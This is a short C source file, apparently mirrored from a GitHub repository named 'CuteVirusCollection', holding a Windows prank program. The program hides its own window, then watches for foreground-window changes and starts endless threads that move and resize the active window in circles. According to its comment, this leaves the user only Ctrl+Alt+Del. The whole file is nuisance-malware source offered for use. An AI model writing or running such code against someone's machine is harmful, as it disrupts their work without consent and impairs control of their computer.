mirror of
https://github.com/MinhasKamal/CuteVirusCollection.git
synced 2025-12-05 20:40:10 -08:00
28 lines
591 B
C
28 lines
591 B
C
// Randomly moves the window round. Only Ctrl+Alt+Del will work here.
|
|
|
|
#include <windows.h>
|
|
#include <math.h>
|
|
|
|
DWORD WINAPI moveit(){
|
|
HWND a=GetForegroundWindow();
|
|
int i,j,k=1;
|
|
while(k++){
|
|
i=200+300*cos(k);
|
|
j=150+300*sin(k);
|
|
MoveWindow(a,i,j,i,j,1);
|
|
Sleep(50);
|
|
}
|
|
}
|
|
|
|
main(){
|
|
DWORD dwThreadId;
|
|
HWND last=GetForegroundWindow();
|
|
ShowWindow(last, SW_HIDE);
|
|
while(1){
|
|
if(last!=GetForegroundWindow()){
|
|
last=GetForegroundWindow();
|
|
CreateThread(NULL, 0, moveit, &last, 0, &dwThreadId);
|
|
}
|
|
}
|
|
}
|